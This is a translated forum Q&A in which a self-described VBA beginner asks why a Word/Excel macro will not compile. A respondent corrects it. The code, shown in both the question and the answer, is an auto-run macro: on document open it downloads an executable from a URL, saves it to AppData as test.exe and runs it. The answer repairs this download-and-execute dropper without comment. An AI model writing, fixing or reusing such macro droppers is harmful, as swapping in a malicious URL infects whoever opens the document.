2014-05-02 54 views
-1

做一些简单的VBA脚本并且遇到一点障碍。 (我是一个非常新的VBA编码器)。编译错误:参数不可选-MSWord

当我编译下面的代码,我不断收到“编译错误:参数不可选”,但我似乎无法找到任何错误(可能只是我的白痴)。

代码是假设下载一个文件(我刚刚得到PuTTy可执行文件进行测试),然后将它加载到AppData文件夹中并执行。

欣赏帮助。

Sub Auto_Open() 
input 
End Sub 

Sub AutoOpen() 
Auto_Open 
End Sub 

Sub Workbook_Open() 
Auto_Open 
End Sub 

Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean 
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte 
Set pass = CreateObject('MSXML2.XMLHTTP') 
pass.Open 'GET', pass2, False 
pass.Send 'send request 

Do While pass.readyState <> 4 
DoEvents 
Loop 

helper = pass.responseBody 

hard = FreeFile 
If Dir(pass3) <> '' Then Kill pass3 
Open pass3 For Binary As # hard 
Put # hard, , helper 
Close # hard 

Dim temp 
temp = Shell(pass3, 1) 

Set pass = Nothing 
End Function 

Sub input() 
var1 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', Environ('AppData') & '\test.exe' 
End Sub 
+0

我不认为你可以调用Auto_Open()多次这样。 – RubberDuck

+0

我没有错过第一个Open_Auto的下划线..仍然有问题,虽然:( –

回答

1

请在您的代码中查看我的意见。我强烈建议您访问vba wiki page,因为它为那些新语言的人提供了一些很好的资源。我根本没有测试或调试代码。我只是纠正了明显的错误,以便编译。

显式的选项

Sub AutoOpen() 
    'no idea what this was doing, but you can't define a sub more than once, it's ambiguous. 
End Sub 

Sub Workbook_Open() 
    AutoOpen 
End Sub 

Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean 
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte 
    ' single quotes (apostrophes) create comments in vba. Use double quotes instead(") 
    Set pass = CreateObject("MSXML2.XMLHTTP") 
    pass.Open "GET", pass2, False 
    pass.Send "send request" 

    Do While pass.readyState <> 4 
     DoEvents 
    Loop 

    helper = pass.responseBody 

    hard = FreeFile 
    If Dir(pass3) <> "" Then Kill pass3 

    Open pass3 For Binary As #hard 
    Put #hard, , helper 
    Close #hard 

    Dim temp 
    temp = Shell(pass3, 1) 

    Set pass = Nothing 
End Function 

Sub someInput() ' you can't use input, it's a reserved work 
    var1 "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", Environ("AppData") & "\test.exe" 
End Sub